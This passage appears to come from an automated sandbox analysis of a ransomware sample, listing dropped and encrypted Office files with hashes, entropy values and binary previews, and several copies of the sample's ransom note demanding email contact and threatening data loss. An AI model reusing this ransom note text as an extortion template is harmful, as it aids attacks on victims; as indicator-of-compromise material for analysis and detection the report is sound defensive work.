Preview:	...QJ..c.[...(sQ...^...g%.B$..K. _...&....o...y.....b..:..i.k&A.._&.H.......N9b....k..v....M&..~.....:}..PD=..d%...... .Y..7...6A...O.Qf...^..."...ff...{....7->0iP..:m#..p........C.+...K..2,..m./h= ....N.h..E.....g............m...o....p.8...w.........r....o.....MA.....Qri......M.....i..6.gPQj....S.&V..3NC.9\............H..1.._...D.Z.Z...>yn._.7.yD?F@.K...1pD;...NDO....t....9...9G.V5W....P.hy.c.is......q.Q.7O....W7Z.H$.`....2.....o.i..T....;.s&;lG....]...r..I./..O......C....u.uP......X./.....P..~....".Y...q..;t5ve..h\|.....v..K..!.I.r..D.....0h....e.....!..".#.....f.M.$..+~?8.!.........!Vj..>...VWI.I......J.u.K.R.w...).+aq.N.}..E.).p...{.u.;..><.d.6..#j.-...P9..$.Eko.,......7...?c...q...dEoi$.n>..jY...D.<.J`zkw..r..c.E.J. z...ZX..Qt.!........2...>....yf.s../........3.N...X.!..%.P..-.c...r ....- .\..e.w.h.....jJ...a...o.^\|..q.....6q..`

C:\Program Files (x86)\Microsoft Office\Office16\1033\PROTTPLV.DOC Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	20224
Entropy (8bit):	7.9906479384686895
Encrypted:	true
SSDEEP:	384:7QDHV06RrGuI+pTwsaY42rWF3ltvZcGpaAACIU/HZNjLLT6nLzWLrYKl/Sl3d:iHVj5Gu+PnB3phACIm6nLIA
MD5:	C1995C91BA768BCED603A92788B23D80
SHA1:	9F781AF2B72EB180D8C7611A29A432D14854EAE3
SHA-256:	8371A1D66E84B2EC18606FCF978E16187B4986C920D347CEFC1A54033C008487
SHA-512:	2B78C8CE1F161E4B044D18118B6569CB8D96A20B7571AD43B9CF8C1C8E2989204A44AD1F9F7082561FC184D6C4E98A90B2BAB5846C1DC17C9FF266A9D556AF65
Malicious:	true
Preview:	.@.\|S`.....O.h..^Vq8...:+......Z..`..\jR...`..NI.D..G. ..'A...~.1G#Y.....&.Ny...."..).>z..q...^..'.\|.hi........o..]?2L[.)n.e..}..&U.....C'\|......#......Pdc{./......A6z7..X.....~.Q ....^e...L1!...-..K...jd.T4....D.>.......w9e.Y](d...D.P%%..q..J\|.....<....n.........Vr.#....)..."..K.......c. ....<.\....+..nQ.....z.-...&4..V...<@.H.D......N5.+..".C...g.(.D.9......../[}4#a0L)...36..... $4+...t!^6d.H.,....r.H.....#$.@.....&-.1...}/\Dc.[...!...j?...j...X...G......3...j.x{8@..#T.......:....!....?8.6..G...q..F.a. 9......=K.....F?....8..../.q.............n..H:..m./. .(....^k.ta..F+.Yn.{EF_6.v.'X..j.C:,..... eQ...>k...p.[..=..}...c..m^/.^d.....ocv.9.x8.\j~r.....x...~..yM,.-j.F...d..U!~.k.n.A.7...f..b...>0....q./.S..Q...Z\..w..W.0N.v....=.p>.t..N\...`..}3)...x.t.&.S...<...1Wj.L.H..."C...W..L..R..p.....gz.y}..Y0....fG.....Jv2..:.,..XH~.....!`[...B..E..I....\|......{)/+.90...1.....+]ijY....J.....s......Q..T..B.~...H..).D]..S..*.......vu.f.L..p..

C:\Program Files (x86)\Microsoft Office\Office16\1033\PUBFTSCM\SCHEME31.CSS Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	120658
Entropy (8bit):	7.998629618943623
Encrypted:	true
SSDEEP:	3072:ml0QG96nzH2sN32dtFRHYSPrZHuJHsJpLw3:mlFGczWsp+KSPR6sJZu
MD5:	9F8681FB036F47CFE91C045BEF985106
SHA1:	456BF6ECCF220CCAE17EAD468C5A612B95A112C4
SHA-256:	AC85EA5FA38E33D332FEB77B39AC70B9799C5B419E6ED884C8FD5ABF73C2C7D5
SHA-512:	4B42B1210DF10392F8097B7EF81744357B76BF4BA11820751CE2E47A0FF464D890E30595D42AEEA1C399DADD972D1089167DBB1C3C12C7E7862DE0C8791C61C9
Malicious:	true
Preview:	.7..dt..",..U..Y...Z.'1...:..........Z....L.{....cK..t,'^..v....g.I.....\I.r/...v.#."...>....G.o.V.d...P...y.j.3.q.hG..5.Qj.5.=...d.xi...Q..h.7...nIl..]K....E....0..o.T\|i.i...6{,99;...\|.o$D...W.Q...VE.....RF...x.Wg}.r......2...&sC.`n.Su....5.x....7s.&...m..Ip.U..y...CR{..~.q[.lX.VJ...D...."T..u..Z..T.8.....T.....$.(......zI".N..}.p.1...8.Z...3}4.Zo..7.]p.Ttl....k............q]S.p.).Z.u9B..X8....%.O.4aO.OV...Z.]+........\|.m.7..j..az.].u0Ok.n.-..S...x.+:....X.9.2.\|...G..S4...c..8.v.'.t...)^........!x..../...h.G.kD>.m...}<l.%......Xb..:.N...v.\...H.)..1.............i....C.1..T I.....8.}..}.Yn...v\Ye...\|.h.3!6..p..8..d..p.i;dS...~.R0...hbr.BC...}..2..}5.M...zp.;`.$..fT.........).^...e]Y.I.......pN......./.&.>...pG..@@B.\|w.cm...\|..X!A;n3.tt%.A..c.o.....^..z.tWk./...il.....C.:.....ZS......&..e....o.Y.$]....YWb...8.... .......!...(..Eo..(.D.....6.v..5S\,....7<.z.k.N}9...... .q[i.........5......0.J<..K......>.z.=s..S.8>...i.?

C:\Program Files (x86)\Microsoft Office\Office16\1033\PUBSPAPR\PDIR31F.GIF Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	21466
Entropy (8bit):	7.992088716178249
Encrypted:	true
SSDEEP:	384:gC65ItbpIKhDQHuyEqIa3n0Ji2U6Ocd11PZ3dmIngqvxVB7YepjhWS0cIO:gCNIwq/IaX6dDTlUggqvxoeL7f
MD5:	1E7FA01D5E7242D113DC26BBD4470B0B
SHA1:	A67A2D1A32EC26584DD694A6C37AA8761E5F1A29
SHA-256:	9893EB5014DC03D7CC8E75F9F6B6655861FA524AC994FF84FF26E2B8F7BBD79B
SHA-512:	3D83D9675F4AAA0C3BAD90EB992C3216067E63A30684AD794BFB4D133BA9C8F9C204CC8A180C58FBC73A0A64A072ABE6319AC871195692AEF42327C970CC128C
Malicious:	true
Preview:	..R....f...x..M...M0ZD......EA.=.0.....#X.Ae...N..?a\q5.)[...yp..s....u.....B>t.!m.\9..U .t.......>.g...@L..NV../......(..:S......n7.....T...,c.>Pq../..B............7.w.Z...uc.......Tk.$..`C<...+.Q..f-....R..7..!.l..P..U..@.K.'W.......kV..I...17xR..Z.dGj.#...6: .of.....D....p..9......r.j.C..V.......7'.4f....c.W...k...F.f.y....r.;....PQ.%.N...@..s........J.@\.h.....!.I.....Al.D.%..A...7.s3R+A..9go.._...9...... ....p>...`U.._X..q<x..R.......t....=.X6\..f\|......Z.KTq......q....Y......-H..n.. `..m+...6...W..O.<..e..Q...b...Z..k...4....r...h!.}......w...H...o)j.Z..W.=R.^..F..S5.mp.?l.............,H^.sC..p_..8.G......].AH...o..-.T....?...I...`.W.]\|^"..U.$..!...2J..R.....0.Y......Z......k.j.<......~...m.......Q.O..P7..".^l4.#....%z.......'F.....e.......U..I...F....e...>..@(mV....."\|..<G..G0...2P..........f...\|..^.c...D{....PGP.zix..Z"Y..SwiBI......S.+.D..?..i.......T.....f1(.4.>.k.AF....Pme.._J..%..1o..Pe...o'~/OA...`..O.y..).3_p...b.

C:\Program Files (x86)\Microsoft Office\Office16\1033\PUBSPAPR\ZPDIR36F.GIF Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	34910
Entropy (8bit):	7.994612400967356
Encrypted:	true
SSDEEP:	768:TngJojkajsFEDkm4Z+OJkl/kfH8YT+XCz2ULVrK7d4:TnXAm4ZJklcfH8Y482ULQ7u
MD5:	2E8544C40C17CE8B0E6A945526FEFD30
SHA1:	E7154DEF117E099A02EE2BE6B247CCD2EC1A55CD
SHA-256:	BC9707BC5856A74A4D73B11A16AD004EBB491D060C2AC7AD3A8CB8290DDB7390
SHA-512:	A4C1374F61E49673A06E484706175C95C65BAA7DAA439D48B52F74C3F8E2C4896B3078A98BFC204A2FDBA04ED0B013C0F0D4B1DBFD56C8457F37E94DC52D3FCF
Malicious:	true
Preview:	...!...~dn.....{..o.j.. ..I......1._;...?[.K....J..H.W....9. &.n4.^3.......^.&.@........i3..5..E..t..%~t.LN..t9...QUJ.....iAV.......D.1........m]$B.$3-I`H...0....8.......-..E.6J.....0i...Q...R.H#.Q.."%..]...c....St.....U..!..!C..W(w.`...W..(@"K.._. .(n,.P.hz.C..?a.4C...A._/kA4n..x...p5.cN..b\......c...8....&.1...K.LF.m#.]..%.4.<.?sc...q.9...Gs...l"..=.E.....h..Q.9....Qt..e.kl..w..~1..'..C.T.Q.........~........+..X.U.H.O...OE...11..{..b.C...h".:..oWo....a..s...l...{d...`U.yW...78rhTT.C..;h2.z.N.8..:.....e..(C...l.z.O....Z.>...fuU..@..;..0....@oF.R.j..w..!..1-.~._"9.v....v.A`..7%H. ..d.@.>..F....e..M:.A.v...y.RC....o..ps..R....K..Q,.^....M..bv..B..<... .P.y7....Z.6M.).y...]8..9...e.aK...._.....aV.........<H!.s..oX......'...."..`.,7.........(..0..(..k0Dc..Qh..4.%:w..O..P.;c\|.t6v.......w..m..8.A<o..........9...(A[r.6.L.....<...0s.#..'.. n;...d...-bHp..%..9.-\..5L8.td'.oD7...l.l.-g..#.x..r.H.......6-..hs4......\|...C>.j.. a.$X..?..M.h...

C:\Program Files (x86)\Microsoft Office\Office16\1033\SKYPEFB_COL.HXC Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.765758687679903
Encrypted:	false
SSDEEP:	24:RdMXxYqvr2qryUPUjdMdKLn00o9A6Wu0tIi43hT5LWlZr:RdwR3/dKLn+XWQq
MD5:	98875A423F32C15D30E1F592B0A9B02F
SHA1:	571D83E49EDF299BE6E309B04EE05A1C03DFD31A
SHA-256:	5EF448D56117154D159EA08103B02DA3B67E5DC5094993DB63B8D82DB569BF5E
SHA-512:	6E314B082887E240E2D185B3B13F59E842601DB105436FB50D7A85A5FE2364945AFBEA6173D6C6AF1FF69655C0A60435D1D3C76B264DA88D0F950469E6C10766
Malicious:	false
Preview:	.L..)..B...J..:....=..F.S......%..aD5...1K....f.]Rp.<..K..../..v.6...C... .@.c.....Hy..3.V].`.&j..1..>-...%..........s....+..6<..!..g1cW.Gat.... .T...#.1e.xl~).G_$}8....A@b.$4..0'.....1...".7...E.r.N..w..a.Tb.fj..Fe.=<..].....=>....1.0'.....l...@jn_L.u.........lc.S.....R}\|.Jb..-..y^.2..u.3......[7z.\|...3,]lw.@H...V..'9......r)6.:..Z..5...)k....Tgm{.G@.>..FPa.O..+.9U..._...v7...+u.(...A...;...NC.../.D.,.........f..M..-....B...dl(....P.r.g..'<6'n.b.7.d..../.X. ...,B.jx.Q.+:..IXS.X.1g.3..."...~..2..IJ...xd.u..Qz.%.ETr.q[Rb......cF......3%.D.0<.....G.....B.[.om.6e6........Vm..L........?.=....u..!.Y`)....xU..Q5..J...vEU.{......+..L!C.w.h...!a..QT.....:..}..y......+1..I.T.pw0..i.Z... d.7....".<x`.......9K.y}.3.q.:8.....f.d...Z._8eJ...>.".fy.*U.`...=m..z.y=...Q...@.9...ja..[........&..6.(+....iE.t.))-+..X..Z...!y.......J<...:P..

C:\Program Files (x86)\Microsoft Office\Office16\1033\WINWORD.HXS Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	623568
Entropy (8bit):	7.999694189673831
Encrypted:	true
SSDEEP:	12288:3Y24S36nni6KQQ7zhVzTWL4ww9G8smXW+U3E50Xy2pM:o/+6niFVXZwmG/R0qZpM
MD5:	0050635783B27B047ABA3B442A58F5D4
SHA1:	66EA18F25B06CEA815835F12BEA811B277A9C243
SHA-256:	B612441BC5714874B37D829CEEB6B36A0CFDA36D7489C2BD6FF2090747FA007A
SHA-512:	462DC6137F68A284A742344686A2837D93DF9FDB7947736A8E796CDA200EE5A9D5B0D92EB0FEFD3188C03A43C92235A2A51E9AF11BCDFCD45743708510711F6B
Malicious:	true
Preview:	.A..Z;tx....i.....+G..w6.....<.%..<%...S..7.]._.o..Lq.!...~ltT7.%1.&...ol.ce....2........t:..>E..N...........G$ED.vk..+.C.P..(..\|)....B....}P.a..?E..Y....N.O....=....(z...=...a..\|.a+..~..x.....t.z#.i/...7..1m+...H.=B...G.K...^.X.UE.\U.:..^V.L&....J86N!.$S..d...-........;..sF.~zc\|t.z..U.^af...(Ze.D....dO.\...{.aV.YF?8w8......\..O=._j.'_bYz...x.k..tx....v....D.'........~C...#7.e.n(..P..a.!C...f.....A..J..?[ok.sf....90RI...[8.n{.\...f.V....../.#.i..[.S..TK...p.....$..V?..<.....O.d.?..Z,....gmd~L..Hr^.1....}.h+NUXE..l.h..P..O'.Z."....5...l..........8F==.q.E...o .....u.Lw......9U.....>fO..s.p..I.v...Cq...r.I.AW.."...C..(:.I....8Kz..f?)...~.X.... .?.%W .v.$...j[..<.f~}.B<...=n...;. .5.o..B...s.....X7C=..h...mI...).0...w4q,;S....E./u.....D......O....9.0.0.V.q.x..b.2k~YL.C4.e.x.J...)......U....c..4<...1W0.........2R...A_1.......`.....T?^ZL......1.....5+....i......M^.c.[k...u..a..:.Q.5b..L.....{.6y/[...Z.i..&...w..".@......Z,..k..V

C:\Program Files (x86)\Microsoft Office\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\pt-pt\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Program Files (x86)\Microsoft Office\Office16\ADDINS\Power Map Excel Add-in\EXCELPLUGINDATAPROVIDER.DLL Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1268200
Entropy (8bit):	7.999855958088374
Encrypted:	true
SSDEEP:	24576:S494EwWxn9Cq/e/61ZQZNCod50MJj6Z2LmJ+J4UISC5xHlLd0pPZuT:XXQq/4wZ8NTd+g+5xHlx0eT
MD5:	080BEB909FF6501C4F6F047665DF4900
SHA1:	EABE30B7BC7733041890C35BC8842C723A5F48EE
SHA-256:	4B260E62944A10073B8E2A9736B3811A98C64110B4C7A23F8517B5CBD3869DD7
SHA-512:	0981DD57FAA5F536C2DBB38E32635BF09A3AF47E6692D691EF418FF9846FCB650FC7AC624B6FE8D6EDB3635BDE79B98E5F934B39EC2C3D63BE4711FD9B2C45D7
Malicious:	true
Preview:	r....d...}..;..+{$5.{..,@..5.i..n.$...I.pW.....+.....gk..4a<j.C....B79./....`;.zE.<v.#...`0S...Rz..o.~..X..(./.wz....[.z..L..GR.......IMz.`..-....b.\|'<.. ..G.K9.\V.9y.s.YOR.4..N..........&..,.#....K#....1....w....IS..!..EY...H......p.....Q..&..}..'.}.2h.5P..m@........c..v.hN.Vh]...7...{...DT.o.9<..Y...y.{;;1#d....Jbb.u3j..c._....I.....0Zs.EM...Z...v.?..`.._v.....!.b....R..&c...G%sk.b5:......u.... .G..XxU...{.&....c&.....gi.YM..B-......WU.a.9nW.>7BP......-8e.....Z.<.....!wH......g.T2.aI...r..e). ...LP.w.8SG+........\|.Y..xv....Q..iZf...q7...2T..Y...)s.......By..I...Y....5d....R63N...GM../.'.k.6...OGt#?...4....wc..2.P.n.m. ~..!..s..$.5..j.O.D..m..txh.`.>........K.qE.].-......v2.3.-D..1;......sE.....l=.N...I.`...7.P2.....0...(]..<...._}......%.L,(./..L.:..).+..-...<.!.._}.....O.*.KC$.....cj.W.9..W.p1...VcMev(.r..;w.$.\...........h...c....W.Z..`...lt6@.x...Mg.)(..}.h.C3F.....o?&..>...W....'..f...I...mO.Z..!q..o....Y(.L......W..T?.

C:\Program Files (x86)\Microsoft Office\Office16\ADDINS\Power View Excel Add-in\et\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Program Files (x86)\Microsoft Office\Office16\ADDINS\Power View Excel Add-in\lv\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Program Files (x86)\Microsoft Office\Office16\ADDINS\Power View Excel Add-in\zh-CHT\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Program Files (x86)\Microsoft Office\Office16\ADDINS\PowerPivot Excel Add-in\Cartridges\hive.xsl Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	98926
Entropy (8bit):	7.9982221336655845
Encrypted:	true
SSDEEP:	1536:tNmGN+Un53tJ/HMbylJyaZCvcOxdZb4G2fMpxTEh1pBlGkNqBxt1WYRhFCJMBr33:F+Un9tAyfRZCvcOx/bb2RFB7OxtgED7
MD5:	579AFB7010C315130940665042D767F5
SHA1:	504334620F552414329B3EEC1D9F8D34D1351327
SHA-256:	93A391E55721A2F21019EEF83BEE9654A25D0A7CAFAE0880E2C747B1BCDA299C
SHA-512:	30F464A8D1B45FF454A2F74D29558ABA9B53568AAD8E717F7452838B28EF75F63B6144878C9C3942368B7BB4563643C8D0F1731FACD98ADC1E000C325864A6F6
Malicious:	true
Preview:	=.K...\.f....\.\..g.L.:%.G..h[{..H..K..........hj.k3O"........n.>..J.+3.`.}wN....I...V...o.f.....[..PMr....D\|..O6..9.Y.8z..nrk.y..xp.^..T.....@.E...g.Ffz.al{..@.;6...2..TX....d.....,X......p..wc..e#.`........'}DJ..d..._.?7.f.y.[Q....O..uQ...B.!.....]..e.c ....iB9.<.V.&=z.Lt".z........MJ.V..pn@..-e..f..k.:. .tT2.....y.....G.&..Ql.=...#U..f\..)...?..wlj7.D.....W.8..0.tT.\|.+.....y..r.`..`..q.S.^...f.eO..c.R...-.'..q.A..."Sb.;.c.....j.$U.A9.#..,.....dq=.b...g.....^...... ..."8..7..J..gXg.9aM>..."..Bn.W..'...K......_.0...?rV..y......[...GZQ..\|..%..V..;T/.Hu........<.7?Y...a+.......6.%L:...v..E.@..~w.}..c.......x.%A.cl....]..'54T...R......:.......U..^..wZ.81EE......bo..;9]\|.:.nB...4..........,'EC.@WNN`b..\..'...OfM1.........~...+....)..l....n...S...$.u..$a;:.r#.'..X5w...b...4q....iI.n...mz.6j..G..`.I..9.....(6N...8..O...8........L...&.}......"..;.&...1.n'G{.9Xk`...mB3!.._x.....C?..d.Z).{J..S]..-U.)p.(....z.u\|l..s..qS.....;...c]v...LuZ..

C:\Program Files (x86)\Microsoft Office\Office16\ADDINS\PowerPivot Excel Add-in\Resources\1061\PowerPivotExcelClientAddIn.rll Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	70336
Entropy (8bit):	7.997168911742287
Encrypted:	true
SSDEEP:	1536:A6q9GlzrH6r0DM8dWkRJFtGBv8wkYOFIZ2a5NrMbUw72f:A63jDMBkH2BUwr2XbUwyf
MD5:	A6495048C25121B4B930A837A863A6E5
SHA1:	9262E745729A9E25125BADD877F0388B3F4A0392
SHA-256:	5F45A0DDB759FA084B967FC677659A9E04976F466CA9A727F001212B054E8383
SHA-512:	EB9E5FCCEAEC1181E603215221333CF7094EBDCA3C9D115E2F85EBC4AC844269153E5118B08036146D2AD5ED7B60E6DDA12B9EBCC17AA1618A797A0A9114D540
Malicious:	true
Preview:	.N.Q.......{...B.C. f,?.U.S..G$.jp......V..3`3ObU.f..;{..............D.S.....!K.}.?.....WF..l.m&..H.x.a..!..R.......2.'eXR...%X...[Z.."..45?.v7.k......O.C.M......k...`..-H4.9T...X#@.q....3._.n.V.....\GI\|...8T.b....P.:e..O!.+...D........[.%.`.Hk:.m4....[tY-Fhm...].....N....Sp...n5....H.8...>..L.....`.....&.`...Pb.....r.........Ily..<.....=...N..o..!Y`....qI.@..........'w-...\|).(......%..=.9........).9S?[C1#.O....&....lp...UjtRd..-.V.p.(..,..-...s.s.....}..bK.......a.b..~5l...c)..@....l.ZL...P...].....K.yI..Spz$)S..\..h..........a/..O........232.....1.vC..@8....Q&.1R..z6.w.A......[..A.."...v.........<..Y...xx.RZ$....o.h.'..;...%4.....JV.W.y8.V2p..r.J....^?.,$...l);.....P..h.C.).z.....>...pk2m.'..O9w....tT,.h...W.x$...n.[..+.7.D......`!.0.l.J.U.R...P.Qi:.G.._.#P....%.3.....f~P.Wt.....2.o../....M....A.p.)r...Y.BS.S...k\|R.\|f.0e.-!.{..!..s.T...T...8..IO%.UiS:..z=.w......BL.Q..\2.d.m..6?.UZ.....NH..8..:......<.....ff...e...d.......^..".."..

C:\Program Files (x86)\Microsoft Office\Office16\ADDINS\PowerPivot Excel Add-in\lt\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Program Files (x86)\Microsoft Office\Office16\ADDINS\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Program Files (x86)\Microsoft Office\Office16\BCSClientManifest.man Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	27083
Entropy (8bit):	7.993340434966738
Encrypted:	true
SSDEEP:	768:ysQK2sJMGnTd6boHkZgH8FRIEsUsd4vL5TuQmJWy0Q:i6Vki8FRXs+5gJWy3
MD5:	DE6AF663F58476DE0EF3445DA2E284DE
SHA1:	CBF71B66AD1F13CC868D6E47EEB1FE1C4C79EA88
SHA-256:	53B58336970E6D9F869387A974417FB9C972A82821A035FCA5A09B2D2041079D
SHA-512:	C16A876C07A1C2FE9537DFE1349DF652036BFD3877319E6A7E9FAFC25F2B5C2C725BBC11112F3CB27FCD137F2EE180E88E80D1E00A3D34299F95622BB9C86970
Malicious:	true
Preview:	......?.9.[.@.K]..P-.<....c.t...g.,.P.U.J.qyb........u$'T.K[..N..c..\|..Us.....y..h.5+JB...73A/..`O.N?j........o`.Z.l8..-k....:.........Z.%5....A.S.[pp.H..[.i.....b.?.....L.>G..J...e. %H..SX}V.Cg.....C..}..ue...&.{...;.I..@.....D~t.m~-.<....E.n..L...'...uv#.{i 4...IL.8 